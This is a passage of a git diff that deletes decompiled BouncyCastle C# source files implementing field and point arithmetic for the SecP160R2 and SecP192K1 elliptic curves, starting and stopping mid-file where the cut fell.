num2); - } - num += 10; - } - return m_outer.CreateRawPoint(new SecP160R2FieldElement(array), new SecP160R2FieldElement(array2), withCompression: false); - } - } - - private const int SECP160R2_DEFAULT_COORDS = 2; - - private const int SECP160R2_FE_INTS = 5; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73")); - - protected readonly SecP160R2Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP160R2Curve() - : base(q) - { - m_infinity = new SecP160R2Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC70"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("B4E134D3FB59EB8BAB57274904664D5AF50388BA"))); - m_order = new BigInteger(1, Hex.Decode("0100000000000000000000351EE786A818F3A1A16B")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP160R2Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP160R2FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP160R2Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP160R2Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 5 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat160.Copy(((SecP160R2FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 5; - Nat160.Copy(((SecP160R2FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 5; - } - return new SecP160R2LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Field.cs deleted file mode 100644 index 09ed3be..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Field.cs +++ /dev/null @@ -1,150 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R2Field -{ - private const uint P4 = uint.MaxValue; - - private const uint PExt9 = uint.MaxValue; - - private const uint PInv33 = 21389u; - - internal static readonly uint[] P = new uint[5] { 4294945907u, 4294967294u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[10] { 457489321u, 42778u, 1u, 0u, 0u, 4294924518u, 4294967293u, 4294967295u, 4294967295u, 4294967295u }; - - private static readonly uint[] PExtInv = new uint[7] { 3837477975u, 4294924517u, 4294967294u, 4294967295u, 4294967295u, 42777u, 2u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat160.Add(x, y, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.Add33To(5, 21389u, z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(10, xx, yy, zz) != 0 || (zz[9] == uint.MaxValue && Nat.Gte(10, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(10, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(5, x, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.Add33To(5, 21389u, z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat160.FromBigInteger(x); - if (array[4] == uint.MaxValue && Nat160.Gte(array, P)) - { - Nat160.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(5, x, 0u, z); - return; - } - uint c = Nat160.Add(x, P, z); - Nat.ShiftDownBit(5, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat160.MulAddTo(x, y, zz) != 0 || (zz[9] == uint.MaxValue && Nat.Gte(10, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(10, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat160.IsZero(x)) - { - Nat160.Zero(z); - } - else - { - Nat160.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong y = Nat160.Mul33Add(21389u, xx, 5, xx, 0, z, 0); - if (Nat160.Mul33DWordAdd(21389u, y, z, 0) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.Add33To(5, 21389u, z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - if ((x != 0 && Nat160.Mul33WordAdd(21389u, x, z, 0) != 0) || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.Add33To(5, 21389u, z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat160.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat160.Sub(x, y, z) != 0) - { - Nat.Sub33From(5, 21389u, z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(10, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(10, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(5, x, 0u, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.Add33To(5, 21389u, z); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2FieldElement.cs deleted file mode 100644 index b213f6e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2FieldElement.cs +++ /dev/null @@ -1,191 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R2FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP160R2Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat160.IsZero(x); - - public override bool IsOne => Nat160.IsOne(x); - - public override string FieldName => "SecP160R2Field"; - - public override int FieldSize => Q.BitLength; - - public SecP160R2FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP160R2FieldElement", "x"); - } - this.x = SecP160R2Field.FromBigInteger(x); - } - - public SecP160R2FieldElement() - { - x = Nat160.Create(); - } - - protected internal SecP160R2FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat160.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat160.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R2Field.Add(x, ((SecP160R2FieldElement)b).x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat160.Create(); - SecP160R2Field.AddOne(x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R2Field.Subtract(x, ((SecP160R2FieldElement)b).x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R2Field.Multiply(x, ((SecP160R2FieldElement)b).x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat160.Create(); - Mod.Invert(SecP160R2Field.P, ((SecP160R2FieldElement)b).x, z); - SecP160R2Field.Multiply(z, x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat160.Create(); - SecP160R2Field.Negate(x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat160.Create(); - SecP160R2Field.Square(x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat160.Create(); - Mod.Invert(SecP160R2Field.P, x, z); - return new SecP160R2FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat160.IsZero(y) || Nat160.IsOne(y)) - { - return this; - } - uint[] array = Nat160.Create(); - SecP160R2Field.Square(y, array); - SecP160R2Field.Multiply(array, y, array); - uint[] array2 = Nat160.Create(); - SecP160R2Field.Square(array, array2); - SecP160R2Field.Multiply(array2, y, array2); - uint[] array3 = Nat160.Create(); - SecP160R2Field.Square(array2, array3); - SecP160R2Field.Multiply(array3, y, array3); - uint[] array4 = Nat160.Create(); - SecP160R2Field.SquareN(array3, 3, array4); - SecP160R2Field.Multiply(array4, array2, array4); - uint[] array5 = array3; - SecP160R2Field.SquareN(array4, 7, array5); - SecP160R2Field.Multiply(array5, array4, array5); - uint[] array6 = array4; - SecP160R2Field.SquareN(array5, 3, array6); - SecP160R2Field.Multiply(array6, array2, array6); - uint[] array7 = Nat160.Create(); - SecP160R2Field.SquareN(array6, 14, array7); - SecP160R2Field.Multiply(array7, array5, array7); - uint[] array8 = array5; - SecP160R2Field.SquareN(array7, 31, array8); - SecP160R2Field.Multiply(array8, array7, array8); - uint[] z = array7; - SecP160R2Field.SquareN(array8, 62, z); - SecP160R2Field.Multiply(z, array8, z); - uint[] array9 = array8; - SecP160R2Field.SquareN(z, 3, array9); - SecP160R2Field.Multiply(array9, array2, array9); - uint[] z2 = array9; - SecP160R2Field.SquareN(z2, 18, z2); - SecP160R2Field.Multiply(z2, array6, z2); - SecP160R2Field.SquareN(z2, 2, z2); - SecP160R2Field.Multiply(z2, y, z2); - SecP160R2Field.SquareN(z2, 3, z2); - SecP160R2Field.Multiply(z2, array, z2); - SecP160R2Field.SquareN(z2, 6, z2); - SecP160R2Field.Multiply(z2, array2, z2); - SecP160R2Field.SquareN(z2, 2, z2); - SecP160R2Field.Multiply(z2, y, z2); - uint[] array10 = array; - SecP160R2Field.Square(z2, array10); - if (!Nat160.Eq(y, array10)) - { - return null; - } - return new SecP160R2FieldElement(z2); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP160R2FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP160R2FieldElement); - } - - public virtual bool Equals(SecP160R2FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat160.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 5); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Point.cs deleted file mode 100644 index 442fdce..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R2Point : AbstractFpPoint -{ - public SecP160R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP160R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP160R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP160R2Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP160R2FieldElement secP160R2FieldElement = (SecP160R2FieldElement)base.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement2 = (SecP160R2FieldElement)base.RawYCoord; - SecP160R2FieldElement secP160R2FieldElement3 = (SecP160R2FieldElement)b.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement4 = (SecP160R2FieldElement)b.RawYCoord; - SecP160R2FieldElement secP160R2FieldElement5 = (SecP160R2FieldElement)base.RawZCoords[0]; - SecP160R2FieldElement secP160R2FieldElement6 = (SecP160R2FieldElement)b.RawZCoords[0]; - uint[] array = Nat160.CreateExt(); - uint[] array2 = Nat160.Create(); - uint[] array3 = Nat160.Create(); - uint[] array4 = Nat160.Create(); - bool isOne = secP160R2FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP160R2FieldElement3.x; - array6 = secP160R2FieldElement4.x; - } - else - { - array6 = array3; - SecP160R2Field.Square(secP160R2FieldElement5.x, array6); - array5 = array2; - SecP160R2Field.Multiply(array6, secP160R2FieldElement3.x, array5); - SecP160R2Field.Multiply(array6, secP160R2FieldElement5.x, array6); - SecP160R2Field.Multiply(array6, secP160R2FieldElement4.x, array6); - } - bool isOne2 = secP160R2FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP160R2FieldElement.x; - array8 = secP160R2FieldElement2.x; - } - else - { - array8 = array4; - SecP160R2Field.Square(secP160R2FieldElement6.x, array8); - array7 = array; - SecP160R2Field.Multiply(array8, secP160R2FieldElement.x, array7); - SecP160R2Field.Multiply(array8, secP160R2FieldElement6.x, array8); - SecP160R2Field.Multiply(array8, secP160R2FieldElement2.x, array8); - } - uint[] array9 = Nat160.Create(); - SecP160R2Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP160R2Field.Subtract(array8, array6, array10); - if (Nat160.IsZero(array9)) - { - if (Nat160.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP160R2Field.Square(array9, array11); - uint[] array12 = Nat160.Create(); - SecP160R2Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP160R2Field.Multiply(array11, array7, array13); - SecP160R2Field.Negate(array12, array12); - Nat160.Mul(array8, array12, array); - uint x = Nat160.AddBothTo(array13, array13, array12); - SecP160R2Field.Reduce32(x, array12); - SecP160R2FieldElement secP160R2FieldElement7 = new SecP160R2FieldElement(array4); - SecP160R2Field.Square(array10, secP160R2FieldElement7.x); - SecP160R2Field.Subtract(secP160R2FieldElement7.x, array12, secP160R2FieldElement7.x); - SecP160R2FieldElement secP160R2FieldElement8 = new SecP160R2FieldElement(array12); - SecP160R2Field.Subtract(array13, secP160R2FieldElement7.x, secP160R2FieldElement8.x); - SecP160R2Field.MultiplyAddToExt(secP160R2FieldElement8.x, array10, array); - SecP160R2Field.Reduce(array, secP160R2FieldElement8.x); - SecP160R2FieldElement secP160R2FieldElement9 = new SecP160R2FieldElement(array9); - if (!isOne) - { - SecP160R2Field.Multiply(secP160R2FieldElement9.x, secP160R2FieldElement5.x, secP160R2FieldElement9.x); - } - if (!isOne2) - { - SecP160R2Field.Multiply(secP160R2FieldElement9.x, secP160R2FieldElement6.x, secP160R2FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP160R2FieldElement9 }; - return new SecP160R2Point(curve, secP160R2FieldElement7, secP160R2FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP160R2FieldElement secP160R2FieldElement = (SecP160R2FieldElement)base.RawYCoord; - if (secP160R2FieldElement.IsZero) - { - return curve.Infinity; - } - SecP160R2FieldElement secP160R2FieldElement2 = (SecP160R2FieldElement)base.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement3 = (SecP160R2FieldElement)base.RawZCoords[0]; - uint[] array = Nat160.Create(); - uint[] array2 = Nat160.Create(); - uint[] array3 = Nat160.Create(); - SecP160R2Field.Square(secP160R2FieldElement.x, array3); - uint[] array4 = Nat160.Create(); - SecP160R2Field.Square(array3, array4); - bool isOne = secP160R2FieldElement3.IsOne; - uint[] array5 = secP160R2FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP160R2Field.Square(secP160R2FieldElement3.x, array5); - } - SecP160R2Field.Subtract(secP160R2FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP160R2Field.Add(secP160R2FieldElement2.x, array5, array6); - SecP160R2Field.Multiply(array6, array, array6); - uint x = Nat160.AddBothTo(array6, array6, array6); - SecP160R2Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP160R2Field.Multiply(array3, secP160R2FieldElement2.x, array7); - x = Nat.ShiftUpBits(5, array7, 2, 0u); - SecP160R2Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(5, array4, 3, 0u, array); - SecP160R2Field.Reduce32(x, array); - SecP160R2FieldElement secP160R2FieldElement4 = new SecP160R2FieldElement(array4); - SecP160R2Field.Square(array6, secP160R2FieldElement4.x); - SecP160R2Field.Subtract(secP160R2FieldElement4.x, array7, secP160R2FieldElement4.x); - SecP160R2Field.Subtract(secP160R2FieldElement4.x, array7, secP160R2FieldElement4.x); - SecP160R2FieldElement secP160R2FieldElement5 = new SecP160R2FieldElement(array7); - SecP160R2Field.Subtract(array7, secP160R2FieldElement4.x, secP160R2FieldElement5.x); - SecP160R2Field.Multiply(secP160R2FieldElement5.x, array6, secP160R2FieldElement5.x); - SecP160R2Field.Subtract(secP160R2FieldElement5.x, array, secP160R2FieldElement5.x); - SecP160R2FieldElement secP160R2FieldElement6 = new SecP160R2FieldElement(array6); - SecP160R2Field.Twice(secP160R2FieldElement.x, secP160R2FieldElement6.x); - if (!isOne) - { - SecP160R2Field.Multiply(secP160R2FieldElement6.x, secP160R2FieldElement3.x, secP160R2FieldElement6.x); - } - return new SecP160R2Point(curve, secP160R2FieldElement4, secP160R2FieldElement5, new ECFieldElement[1] { secP160R2FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP160R2Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Curve.cs deleted file mode 100644 index 79d3839..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192K1Curve : AbstractFpCurve -{ - private class SecP192K1LookupTable : ECLookupTable - { - private readonly SecP192K1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP192K1LookupTable(SecP192K1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat192.Create(); - uint[] array2 = Nat192.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 6; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 6 + j] & num2); - } - num += 12; - } - return m_outer.CreateRawPoint(new SecP192K1FieldElement(array), new SecP192K1FieldElement(array2), withCompression: false); - } - } - - private const int SECP192K1_DEFAULT_COORDS = 2; - - private const int SECP192K1_FE_INTS = 6; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFEE37")); - - protected readonly SecP192K1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP192K1Curve() - : base(q) - { - m_infinity = new SecP192K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.ValueOf(3L)); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP192K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP192K1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP192K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP192K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 6 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy(((SecP192K1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 6; - Nat192.Copy(((SecP192K1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 6; - } - return new SecP192K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Field.cs deleted file mode 100644 index ea798bd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Field.cs +++ /dev/null @@ -1,154 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192K1Field -{ - private const uint P5 = uint.MaxValue; - - private const uint PExt11 = uint.MaxValue; - - private const uint PInv33 = 4553u; - - internal static readonly uint[] P = new uint[6] { 4294962743u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[12] - { - 20729809u, 9106u, 1u, 0u, 0u, 0u, 4294958190u, 4294967293u, 4294967295u, 4294967295u, - 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[8] { 4274237487u, 4294958189u, 4294967294u, 4294967295u, 4294967295u, 4294967295u, 9105u, 2u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat192.Add(x, y, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - Nat.Add33To(6, 4553u, z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(12, xx, yy, zz) != 0 || (zz[11] == uint.MaxValue && Nat.Gte(12, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(12, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(6, x, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - Nat.Add33To(6, 4553u, z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat192.FromBigInteger(x); - if (array[5] == uint.MaxValue && Nat192.Gte(array, P)) - { - Nat192.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(6, x, 0u, z); - return; - } - uint c = Nat192.Add(x, P, z); - Nat.ShiftDownBit(6, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat192.MulAddTo(x, y, zz) != 0 || (zz[11] == uint.MaxValue && Nat.Gte(12, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(12, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat192.IsZero(x)) - { - Nat192.Zero(z); - } - else - { - Nat192.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong y = Nat192.Mul33Add(4553u, xx, 6, xx, 0, z, 0); - if (Nat192.Mul33DWordAdd(4553u, y, z, 0) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - Nat.Add33To(6, 4553u, z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - if ((x != 0 && Nat192.Mul33WordAdd(4553u, x, z, 0) != 0) || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - Nat.Add33To(6, 4553u, z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat192.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat192.Sub(x, y, z) != 0) - { - Nat.Sub33From(6, 4553u, z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(12, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(12, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(6, x, 0u, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - Nat.Add33To(6, 4553u, z); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1FieldElement.cs deleted file mode 100644 index d39c5f0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1FieldElement.cs +++ /dev/null @@ -1,188 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192K1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP192K1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat192.IsZero(x); - - public override bool IsOne => Nat192.IsOne(x); - - public override string FieldName => "SecP192K1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP192K1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP192K1FieldElement", "x"); - } - this.x = SecP192K1Field.FromBigInteger(x); - } - - public SecP192K1FieldElement() - { - x = Nat192.Create(); - } - - protected internal SecP192K1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat192.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat192.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192K1Field.Add(x, ((SecP192K1FieldElement)b).x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat192.Create(); - SecP192K1Field.AddOne(x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192K1Field.Subtract(x, ((SecP192K1FieldElement)b).x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192K1Field.Multiply(x, ((SecP192K1FieldElement)b).x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = 